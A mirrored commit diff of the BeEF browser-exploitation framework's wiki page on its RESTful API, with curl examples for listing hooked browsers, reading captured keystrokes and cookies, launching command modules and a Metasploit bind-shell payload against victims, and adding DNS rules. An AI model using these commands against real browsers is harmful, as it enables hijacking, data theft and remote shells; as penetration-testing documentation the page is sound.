admin/beefproject-beef
1
0
Fork 0
mirror of https://github.com/beefproject/beef synced 2026-06-08 13:15:56 +00:00
Code Issues Packages Projects Releases Wiki Activity

Updated wiki page, expands on a lot of the examples and fixes formatting

jcrew99
2023-03-25 17:33:26 +10:00
parent aa1a8ca22b
commit 9ae2d96a2d
1 changed files with 322 additions and 265 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BeEF-RESTful-API.md
+322 -265
@@ -22,8 +22,10 @@ From version 0.4.3.3 onwards, BeEF exposes a RESTful API. This allows users to s
- [Scripts](#scripts)
## Postman
You can view the api through the postman file.
Read [Postman](https://github.com/beefproject/beef/wiki/Postman)
## Authentication
A new pseudo-random token is generated each time BeEF starts, using `BeEF::Core::Crypto::api_token`. The token is added to the `BeEF::Configuration` object.
@@ -33,65 +35,71 @@ When BeEF starts the token is printed to the console. It should look something l
`[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47`
**NOTE:**
* If you require access to the token and you are writing Ruby code somewhere in BeEF, it can be called using:
If you require access to the token and you are writing Ruby code somewhere in BeEF, it can be called using:
```ruby
BeEF::Core::Configuration.instance.get('beef.api_token')
```
### Requesting the Authentication Token from the API
### Handler
* **Endpoint**
* `POST /api/admin/login`
* **Description**
* In order to use the API, a `token` parameter must always be added to requests, otherwise a 401 error (Not Authorized)
#### Handler
- **Endpoint**
- `POST /api/admin/login`
- **Description**
- In order to use the API, a `token` parameter must always be added to requests, otherwise a 401 error (Not Authorized)
is returned. This request provides that token in response.
* The credentials sent in the body of the request are the ones set in the main [`config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config) file.
* **Request Components**
* N/A
* **Query Parameters**
* N/A
* **Request Content**
* **Body**
* `username` - your username set in [`beef/config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
* `password` - your password set in [`beef/config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
- The credentials sent in the body of the request are the ones set in the main [`config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config) file.
- **Request Components**
- N/A
- **Query Parameters**
- N/A
- **Request Content**
- **Body**
- `username` - your username set in [`beef/config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
- `password` - your password set in [`beef/config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
### Example
#### Example
A request to the API, e.g.
#### Request
```bash
curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://127.0.0.1:3000/api/admin/login
```
#### Response
```
response: {"success":true,"token":"8dc651e5ee1cb06003878bb26bd0e72800caeea0"}
should result in a response of the following form
```json
{"success": true, "token": "320f3cf4da7bf0df7566a517c5db796e73a23f47"}
```
## Hooked Browsers
### Handler
* **Endpoint**
* `GET /api/hooks?token={token}`
* **Description**
* Provides information (browser and OS version, cookies, enabled plugins, etc) about **all** hooked browsers (both
- **Endpoint**
- `GET /api/hooks?token={token}`
- **Description**
- Provides information (browser and OS version, cookies, enabled plugins, etc) about **all** hooked browsers (both
online and offline).
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- **Request Components**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/hooks?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
```
Corresponding example response:
```json
{
"hooked-browsers": {
"online": {
@@ -124,49 +132,77 @@ curl http://beefserver.com:3000/api/hooks?token=320f3cf4da7bf0df7566a517c5db796e
## Browser Details
### Handler
* **Endpoint**
* `GET /api/hooks/{session}?token={token}`
* **Description**
* Provides information (browser and OS version, cookies, enabled plugins, etc) about a **specific** hooked browser.
* **Request Components**
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the [`/api/hooks`](#hooked-browsers) request.
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- **Endpoint**
- `GET /api/hooks/{session}?token={token}`
- **Description**
- Provides information (browser and OS version, cookies, enabled plugins, etc) about a **specific** hooked browser.
- **Request Components**
- `{session}` - session ID of the hooked browser. This ID is the `session` value returned in the response to the [`/api/hooks`](#hooked-browsers) request.
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/hooks/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
```
{
"BrowserName": "O",
"BrowserPlugins": "Shockwave Flash\nJava Applet Plug-in\nQuickTime Plug-in 7.7.1\nSharePoint Browser Plug-in\nSilverlight Plug-In\nWebEx64 General Plugin Container",
"BrowserReportedName": "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto/2.10.229 Version/11.62",
"BrowserType": "{"O11":true,"O":true}",
"BrowserVersion": "11",
"Cookies": "BEEFHOOK=nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
"HasActiveX": "No",
"HasFlash": "Yes",
"HasGoogleGears": "No",
"HasWebSocket": "No",
"HostName": "127.0.0.1",
"JavaEnabled": "Yes",
"OsName": "Macintosh",
"PageReferrer": "No Referrer",
"PageTitle": "BeEF Basic Demo",
"PageURI": "http://127.0.0.1:3000/demos/basic.html",
"ScreenParams": "{"width"=>1680, "height"=>1050, "colordepth"=>32}",
"SystemPlatform": "MacIntel",
"VBScriptEnabled": "No",
"WindowSize": "{"width"=>1000, "height"=>729}",
"hasPersistentCookies": "Yes",
"hasSessionCookies": "Yes"
```json
{
"network.ipaddress": "92.92.92.92",
"location.city": "Unknown",
"location.country": "Unknown",
"browser.version": "109.0",
"browser.name.reported": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/109.0",
"browser.engine": "Gecko",
"browser.language": "en-US",
"browser.window.cookies": "BEEFHOOK=BylwlQSo3yiCea0WxGD8boBnk02T3bvwSiapMz5JdsdfweiYQPo23003j82jaKqP",
"host.os.name": "OSX",
"host.os.family": "OS X",
"host.os.version": "",
"host.os.arch": "32",
"host.software.defaultbrowser": "Unknown",
"hardware.type": "Unknown",
"browser.date.datestamp": "Tue Mar 07 2023 10:00:00 GMT+0100 (Central European Standard Time)",
"browser.window.title": "BeEF Test",
"browser.window.origin": "http://127.0.0.1:3000",
"browser.window.uri": "http://127.0.0.1:3000/demos/basic.html",
"browser.window.referrer": "http://127.0.0.1:3000/ui/panel",
"browser.window.hostname": "127.0.0.1",
"browser.window.hostport": "3000",
"browser.plugins": "PDF Viewer,Chrome PDF Viewer,Chromium PDF Viewer,WebKit built-in PDF",
"browser.platform": "MacIntel",
"hardware.screen.colordepth": "30",
"hardware.screen.size.width": "1200",
"hardware.screen.size.height": "800",
"browser.window.size.height": "700",
"browser.window.size.width": "1200",
"browser.capabilities.vbscript": "No",
"browser.capabilities.flash": "No",
"browser.capabilities.silverlight": "No",
"browser.capabilities.phonegap": "No",
"browser.capabilities.googlegears": "No",
"browser.capabilities.activex": "No",
"browser.capabilities.quicktime": "No",
"browser.capabilities.realplayer": "No",
"browser.capabilities.wmp": "No",
"browser.capabilities.vlc": "No",
"browser.capabilities.webworker": "Yes",
"browser.capabilities.websocket": "Yes",
"browser.capabilities.webgl": "Yes",
"browser.capabilities.webrtc": "Yes",
"hardware.memory": "unknown",
"hardware.gpu": "Apple M1",
"hardware.gpu.vendor": "Apple",
"hardware.cpu.arch": "UNKNOWN",
"hardware.cpu.cores": "8",
"hardware.battery.level": "unknown",
"hardware.screen.touchenabled": "No"
}
```
@@ -174,25 +210,26 @@ curl http://beefserver.com:3000/api/hooks/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDw
### Handler
* **Endpoint**
* GET `/api/logs?token={token}`
* **Description**
* The `logs` handler gives information about **all** hooked browser's logs, both global and relative.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- **Endpoint**
- GET `/api/logs?token={token}`
- **Description**
- The `logs` handler gives information about **all** hooked browser's logs, both global and relative.
- **Request Components**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
#### Request
Example request
```bash
curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response
```
```json
{
"logs_count": 8,
"logs": [
@@ -214,28 +251,29 @@ curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e7
## Browser's Log
### Handler
* **Endpoint**
* `GET /api/logs/{session}?token={token}`
* **Description**
* The `logs` handler gives information about a **specified** hooked browser's logs.
* **Request Components** :
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
### Handler
- **Endpoint**
- `GET /api/logs/{session}?token={token}`
- **Description**
- The `logs` handler gives information about a **specified** hooked browser's logs.
- **Request Components** :
- `{session}` - session ID of the hooked browser. This ID is the `session` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication)).
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication)).
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response:
```
```json
{
"logs_count": 13,
"logs": [
@@ -248,47 +286,49 @@ curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwa
{
"id": 16,
"date": "2012-03-20T16:40:18+01:00",
"event": "6.071s - [User Typed] "an" > input#imptxt(Important Text)",
"event": "6.071s - [User Typed] \"an\" > input#imptxt(Important Text)",
"type": "Event"
},
{
"id": 17,
"date": "2012-03-20T16:40:19+01:00",
"event": "7.086s - [User Typed] "tisnatc" > input#imptxt(Important Text)",
"event": "7.086s - [User Typed] \"tisnatc\" > input#imptxt(Important Text)",
"type": "Event"
},
{
"id": 18,
"date": "2012-03-20T16:40:20+01:00",
"event": "8.099s - [User Typed] "hor" > input#imptxt(Important Text)",
"event": "8.099s - [User Typed] \"hor\" > input#imptxt(Important Text)",
"type": "Event"
}
]
}
```
## List Command Modules
### Handler
* **Endpoint**
* `GET /api/modules?token={token}`
* **Description**
* List **all** available BeEF command modules.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication)).
- **Endpoint**
- `GET /api/modules?token={token}`
- **Description**
- List **all** available BeEF command modules.
- **Request Components**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication)).
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response:
```
```json
{
"0": {
"id": 1,
@@ -313,30 +353,36 @@ curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db79
}
```
**NOTE:**\
The key of the modules returned here is currently unused and you can ignore it. The `id` field contains
the actual module id to be used in subsequent request. Further note that this is not a consistent id,
you should expect it to change between BeEF versions, installations and possibly instances.
## Information on a Specific Module
### Handler
* **Endpoint**
* `GET /api/modules/{module_id}?token={token}`
* **Description**
* Get detailed information about a **specific** BeEF command module.
* **Request Components** :
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication)).
- **Endpoint**
- `GET /api/modules/{module_id}?token={token}`
- **Description**
- Get detailed information about a **specific** BeEF command module.
- **Request Components**
- `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication)).
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response:
```
```json
{
"name": "prompt_dialog",
"description": "Sends a prompt dialog to the hooked browser.",
@@ -350,156 +396,164 @@ curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5d
]
}
```
## Launch Command Module on a Specific Browser
### Handler
* **Endpoint**
* `POST /api/modules/{session}/{module_id}?token={token}`
* **Description**
* Launch a **specific** BeEF command module against a **given** hooked browser.
* **Request Components**
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
- **Endpoint**
- `POST /api/modules/{session}/{module_id}?token={token}`
- **Description**
- Launch a **specific** BeEF command module against a **given** hooked browser.
- **Request Components**
- `{session}` - session ID of the hooked browser. This ID is the `session` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
- `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
- **Request Content**
- **Headers**
- Content-Type: `application/json; charset=UTF-8`
### Example
In the following example we send the `prompt-dialog` command module. Using our last example (our `/api/modules/71` call), we can see that we can specify the `question` input with a custom value.
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
**NOTE:**\
The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
#### Request
Example request:
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"question":"wtf?"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response:
```
```json
{
"success": "true",
"command_id": "1"
}
```
## Return Information About the Specific Command Module Previously Executed
### Handler
* **Endpoint**
* `GET /api/modules/{session}/{module_id}/{cmd_id}?token={token}`
* **Description**
* Returns information about a **specific** previously launched BeEF command module.
* **Request Components**
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
- **Endpoint**
- `GET /api/modules/{session}/{module_id}/{cmd_id}?token={token}`
- **Description**
- Returns information about a **specific** previously launched BeEF command module.
- **Request Components**
- `{session}` - session ID of the hooked browser. This ID is the `session` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* `{cmd_id}` - ID of the command launched. See [Launch Command Module](#launch-command-module-on-a-specific-browser).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
- `{cmd_id}` - ID of the command launched. See [Launch Command Module](#launch-command-module-on-a-specific-browser).
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
Again using our previous example, we would like to know results from the executed command module i.e. what the victim entered to the prompt dialog. In this case the victim entered `don't know` :D
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71/1?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response:
```
```json
{
"date": "1332260323",
"data": "{"data":"answer=don't know"}"
"date": 1678203522,
"data": "{\"data\":\"answer=don't know\"}"
}
```
## Send a Metasploit Module
### Handler
* **Endpoint**
* `POST /api/modules/{session}/{module_id}?token={token}`
* **Description**
* Launch a **specific** Metasploit module against a **given** hooked browser
* **Request Components** :
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
- **Endpoint**
- `POST /api/modules/{session}/{module_id}?token={token}`
- **Description**
- Launch a **specific** Metasploit module against a **given** hooked browser
- **Request Components** :
- `{session}` - session ID of the hooked browser. This ID is the `session` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
- `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
- **Request Content**
- **Headers**
- Content-Type: `application/json; charset=UTF-8`
### Example
In the following example we send the `Adobe FlateDecode Stream Predictor 02 Integer Overflow`. Metasploit modules will be listed together with BeEF modules, marked with the `metasploit` category.
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
**NOTE:**\
The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
#### Request
Example request:
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/236?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
#### Response
Corresponding example response:
**NOTE:**
* You cannot query BeEF or Metasploit with [Return Information About A Command Module Previously Executed](#return-information-about-the-specific-command-module-previously-executed) call to historically check the result of an executed Metasploit module.
* This is why `"command_id":"not_available"` appears in the response of this request.
```
```json
{
"success": "true",
"command_id": "not_available"
}
```
**NOTE:**\
The [previous command API](#return-information-about-the-specific-command-module-previously-executed)
does not support querying results of executed Metasploit modules. This is why the command id appears as
not available in this response.
## Send a Module to Multiple Hooked Browsers
### Handler
* **Endpoint**
* `POST /api/modules/multi_browser?token={token}`
* **Description**
* Fire a BeEF command module to **multiple** hooked browsers. Returns the command IDs of the launched module, or 0 if there were errors.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
* **Body**
* `mod_id` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* `mod_params` - parameters needed for the module
* `hb_ids` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the [`/api/](#hooked-browsers) request.
- **Endpoint**
- `POST /api/modules/multi_browser?token={token}`
- **Description**
- Fire a BeEF command module to **multiple** hooked browsers. Returns the command IDs of the launched module, or 0 if there were errors.
- **Request Components**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
- **Request Content**
- **Headers**
- Content-Type: `application/json; charset=UTF-8`
- **Body**
- `mod_id` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
- `mod_params` - parameters needed for the module
- `hb_ids` - session ID of the hooked browser. This ID is the `session` value returned in the response to the [`/api/](#hooked-browsers) request.
### Example
##### Sending an Alert Module w/ Custom Text to 2 Browsers
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
#### Sending an Alert Module w/ Custom Text to 2 Browsers
#### Request
**NOTE:**\
The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
Example request:
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"vadi?"},"hb_ids":[1,2]}' -X POST http://beefserver.com:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"vadi?"},"hb_ids":["nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk","26bxiMKoFfOeBgcvIV84qeOsEULKQIEYDH4djMbMPeoAZU4yySMIlJJ7GrAMwuMa0eX9wCKk24KOsCoT"]}' -X POST http://beefserver.com:3000/api/modules/multi_browser?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
```
```json
{
"1": 16,
"2": 17
@@ -509,43 +563,42 @@ curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_p
## Send Multiple Modules to a Single Hooked Browser
### Handler
* **Endpoint**
* `POST /api/modules/multi_module?token={token}`
* **Description**
* Fire **multiple** command modules to a **single** hooked browser. Returns the command IDs of the launched modules, or 0 if there were errors.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
* **Body**
* `hb_id` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
- **Endpoint**
- `POST /api/modules/multi_module?token={token}`
- **Description**
- Fire **multiple** command modules to a **single** hooked browser. Returns the command IDs of the launched modules, or 0 if there were errors.
- **Request Components**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
- **Request Content**
- **Headers**
- Content-Type: `application/json; charset=UTF-8`
- **Body**
- `hb_id` - session ID of the hooked browser. This ID is the `session` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `modules` - an array containing all the modules to be launched, with the following two keys:
* `modules.mod_id` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* `modules.mod_input` - any ncessary module parameters.
- `modules` - an array containing all the modules to be launched, with the following two keys:
- `modules.mod_id` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
- `modules.mod_input` - any ncessary module parameters.
### Example
##### Alert Module w/ Custom Text Using 2 Modules
### Example
**NOTE:**
#### Alert Module w/ Custom Text Using 2 Modules
**NOTE:**\
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
* For modules that don't need parameters, just pass an empty JSON object like {}.
#### Request
Example request:
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj","modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' -X POST http://beefserver.com:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj","modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' -X POST http://beefserver.com:3000/api/modules/multi_module?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
**NOTE:**
* Here that the Alert Dialog module execution had issues (i.e. it returns 0).
```
```json
{
"99": 7,
"116": 8,
@@ -553,30 +606,33 @@ curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5v
}
```
**NOTE:**\
The Alert Dialog module execution had issues and did not complete successfully (i.e. it returns 0).
## List the DNS ruleset
### Handler
* **Endpoint**
* `GET /api/dns/ruleset?token={token}`
* **Description**
* Returns the current set of DNS rules.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- **Endpoint**
- `GET /api/dns/ruleset?token={token}`
- **Description**
- Returns the current set of DNS rules.
- **Request Components**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/dns/ruleset?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
```
```json
{
"count": 5,
"ruleset": [
@@ -630,26 +686,26 @@ curl http://beefserver.com:3000/api/dns/ruleset?token=320f3cf4da7bf0df7566a517c5
### Handler
* **Endpoint**
* `GET /api/dns/rule/{id}?token={token}`
* **Description**
* Returns an individual DNS rule given its unique id.
* **Request Components**
* `{id}` - unique identifier associated with a **specific** DNS rule
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- **Endpoint**
- `GET /api/dns/rule/{id}?token={token}`
- **Description**
- Returns an individual DNS rule given its unique id.
- **Request Components**
- `{id}` - unique identifier associated with a **specific** DNS rule
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
#### Request
Example request:
```bash
curl http://beefserver.com:3000/api/dns/rule/7e64183?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
```
```json
{
"id": "7e64183",
"pattern": "example.com",
@@ -665,33 +721,33 @@ curl http://beefserver.com:3000/api/dns/rule/7e64183?token=320f3cf4da7bf0df7566a
### Handler
* **Endpoint**
* `POST /api/dns/rule?token={token}`
* **Description**
* Adds a new DNS rule or "resource record". Does nothing if rule is already present.
* **Request Comonents**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
* **Body**
* `pattern` - the query pattern to recognize.
* `resource` - the resource record type (e.g. A, CNAME, NS, etc).
* `response` - an array containing the response data.
- **Endpoint**
- `POST /api/dns/rule?token={token}`
- **Description**
- Adds a new DNS rule or "resource record". Does nothing if rule is already present.
- **Request Comonents**
- N/A
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
- **Request Content**
- **Headers**
- Content-Type: `application/json; charset=UTF-8`
- **Body**
- `pattern` - the query pattern to recognize.
- `resource` - the resource record type (e.g. A, CNAME, NS, etc).
- `response` - an array containing the response data.
### Example
#### Request
Example request:
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"pattern": "example.com", "resource": "A", "response": [ "10.0.2.14" ]}' -X POST http://beefserver.com:3000/api/dns/rule?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
```
```json
{
"success": true,
"id": "01f458a"
@@ -702,32 +758,33 @@ curl -H "Content-Type: application/json; charset=UTF-8" -d '{"pattern": "example
### Handler
* **Endpoint**
* `DELETE /api/dns/rule/{id}?token={token}`
* **Description**
* Removes an individual DNS rule with a **specified** unique ID.
* **Request Components** :
* `{id}` - unique ID associated with the targeted rule.
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
- **Endpoint**
- `DELETE /api/dns/rule/{id}?token={token}`
- **Description**
- Removes an individual DNS rule with a **specified** unique ID.
- **Request Components** :
- `{id}` - unique ID associated with the targeted rule.
- **Query Parameters**
- `{token}` - your authentication token (see [Authentication](#authentication))
### Example
#### Request
Example request:
```bash
curl -X DELETE http://beefserver.com:3000/api/dns/rule/45ce397?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
#### Response
Corresponding example response:
```
```json
{
"success": true
}
```
## Scripts
* [[Java-1.6.0u27 mass-pwner|Script:-Java-1.6.0u27-mass-pwner]]
***